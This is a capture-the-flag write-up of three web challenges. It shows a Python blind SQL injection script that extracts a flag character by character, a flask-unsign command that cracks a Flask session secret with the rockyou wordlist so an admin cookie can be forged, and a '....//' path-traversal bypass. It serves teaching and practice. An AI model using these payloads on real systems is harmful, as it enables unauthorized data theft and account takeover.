Introduction
No sight required
The purpose of this chall is to get the flag from database
flag = os.environ.get('FLAG', 'flag{fake_flag}')
cursor.execute('INSERT INTO secret_flags (flag) VALUES (?)', (flag,))
Vuln
There is SQLI in /search endpoint
@app.route('/search')
def search():
user_id = request.args.get('id', '')
if not user_id:
return render_template('index.html',
message='Please enter a user ID',
search_id='',
found=False,
users=None)
try:
conn = get_db()
cursor = conn.cursor()
query = f"SELECT * FROM users WHERE id = {user_id}" # SELECT * FROM users WHERE id = "
cursor.execute(query)
results = cursor.fetchall()
conn.close()
but, because the output of query not displayed in html page
if results:
return render_template('index.html',
message='User found!',
search_id=user_id,
found=True,
users=None)
else:
return render_template('index.html',
message='No user found with that ID',
search_id=user_id,
found=False,
users=None)
so we will have to use http response like 200 or 400 as our guide regarding information about flag and a little brute force
Payload
1 AND (SELECT substr(flag,{index},1) FROM secret_flags) = '{i}'
This payload will check one by one whether a character is a character at a certain index in the flag,
substr will get only 1 char in flag then then it will be checked whether the character is the same as the i
if true then server will response 200, if not then server respone 400
Full Script
all = "qwertyuiopasdfghjklzxcvbnm1234567890}{QWERTYUIOPASDFGHJKLZXCVBNM_!@#$%^&*()"
URL = "http://localhost:5001/search"
def check_payload(payload):
response = requests.get(URL, params={'id': payload})
return "User found!" in response.text
def dump_flag():
flag = ""
index = 1
while True:
char_found = False
for i in all:
payload = f"1 AND (SELECT substr(flag,{index},1) FROM secret_flags) = '{i}'"
if check_payload(payload):
char = i
flag += char
char_found = True
index += 1
if char == '}':
return
break
if not char_found:
print("\nfail")
break
if __name__ == "__main__":
dump_flag()
Flask of Cookies
Our objective is to get flag from admin page
Vuln
def derived_level(sess,secret_key):
user=sess.get("user","")
role=sess.get("role","")
if role =="admin" and user==secret_key[::-1]:
return "superadmin"
return "user"
@app.route("/")
def index():
if "user" not in session:
session["user"]="guest"
session["role"]="user"
return render_template("index.html")
@app.route("/admin")
def admin():
level = derived_level(session,app.secret_key)
if level == "superadmin":
return render_template("admin.html",flag=flag_value)
return "Access denied.\n",403
As we see, admin page only check if session[role]=='admin' and user==secret_key[::-1],
so as long as we know the secret to forge the cookies then we can me custom cookies to pass this admin checker.
Exploit
Beacuse doesn't give us any clues about the secret to the cookie forge, then we have to brute force.
In here i use rockyou wordlist
flask-unsign --unsign --cookie "eyJyb2xlIjoiYWRtaW4iLCJ1c2VyIjoicG9pdXl0cmV3cSJ9.aW5-Ag.ylZhT9U2j1n8ypjGf63jJ45ORg8" --wordlist rockyou.txt --no-literal-eval
after we get the secret, then we just need to forge new cookies
Image Gallery
The objective is to get flag in secret/flag.txt
Vuln
app.get('/image', (req, res) => {
let file = req.query.file || '';
file = file.replace(/\\/g, '/');
file = file.split('../').join('');
const resolved = path.join(BASE_DIR, file);
fs.readFile(resolved, (err, data) => {
// ...
});
});
As we see, in /image endpoint the input sanitization logic can be bypass easily.
We just need to use ....// to bypass
Payload
This payload work because file.split('../').join(''); will make this payload into ../secret/flag.txt